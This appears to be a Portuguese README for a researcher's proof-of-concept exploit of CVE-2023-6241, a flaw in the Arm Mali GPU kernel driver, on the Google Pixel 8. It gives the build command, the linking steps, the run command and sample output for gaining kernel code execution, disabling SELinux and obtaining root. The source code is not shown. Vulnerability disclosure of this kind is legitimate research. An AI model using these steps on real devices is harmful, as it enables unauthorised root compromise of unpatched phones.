s1204it/cve-2023-6241CVE-2023-6241 for Pixel 8
O artigo pode ser encontrado aqui. Este é um bug no driver do kernel Arm Mali que reportei em novembro de 2023. O bug pode ser usado para obter execução arbitrária de código no kernel a partir do domínio de aplicativos não confiáveis, que é então usado para desativar o SELinux e obter acesso root.
O exploit foi testado no Google Pixel 8 com o patch de novembro de 2023 (UD1A.231105.004). Ele precisa ser compilado com OpenCL e vinculado à biblioteca OpenCL libGLES_mali.so. A biblioteca pode ser encontrada em um dispositivo Pixel 8 em vendor/lib64/egl/libGLES_mali.so e os arquivos de cabeçalho OpenCL podem ser encontrados no repositório OpenCL-headers do KhronosGroup. O cabeçalho específico que usei foi a versão v2023.04.17, embora outras versões também devam funcionar. Para referência, usei o seguinte comando para compilar com clang no ndk-26:
android-ndk-r26b/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android34-clang -DSHELL -DCL_TARGET_OPENCL_VERSION=300 -I. -L. mali_jit_csf.c mem_read_write.c mempool_utils.c -lGLES_mali -o mali_jit_csf
O exploit precisa ser vinculado a libGLES_mali.so. Isso pode ser feito definindo LD_LIBRARY_PATH para /vendor/lib64/egl. O exploit raramente falha e, mesmo se falhar, normalmente não corrompe nem derruba o sistema. Portanto, caso falhe, ele pode ser executado novamente. Se for bem-sucedido, ele deve desativar o SELinux e obter acesso root.
shiba:/data/local/tmp $ LD_LIBRARY_PATH=/vendor/lib64/egl ./mali_jit_csf
mali_fd 3
corrupted_jit_addr 6000001000
kernel success
kernel success
queue kernel
jit_grow addr 6000001000
Size after grow: 22f6
Final grow size: 23c7
keep alive jit_addr 60023d1000
Size after free: 21fd, trim_level 6
writing to gpu_va 6002301000
found reused page 5fffef6000, 0
pgd entry found at index 0 40000899bbc443
overwrite addr : 5ffff00b50 b50
overwrite addr : 5fffb00b50 b50
overwrite addr : 5fff900b50 b50
overwrite addr : 5ffff00714 714
overwrite addr : 5fffb00714 714
overwrite addr : 5fff900714 714
result 50
clean up
Ao executar pela primeira vez, o exploit às vezes trava após imprimir a última mensagem overwrite addr. Se isso acontecer (travar por mais de 10 segundos, embora pausar por alguns segundos seja normal), basta encerrar o exploit e executá-lo novamente. Ele não deve travar na segunda vez.
Para testá-lo com MTE habilitado, siga estas instruções para habilitar o MTE no kernel.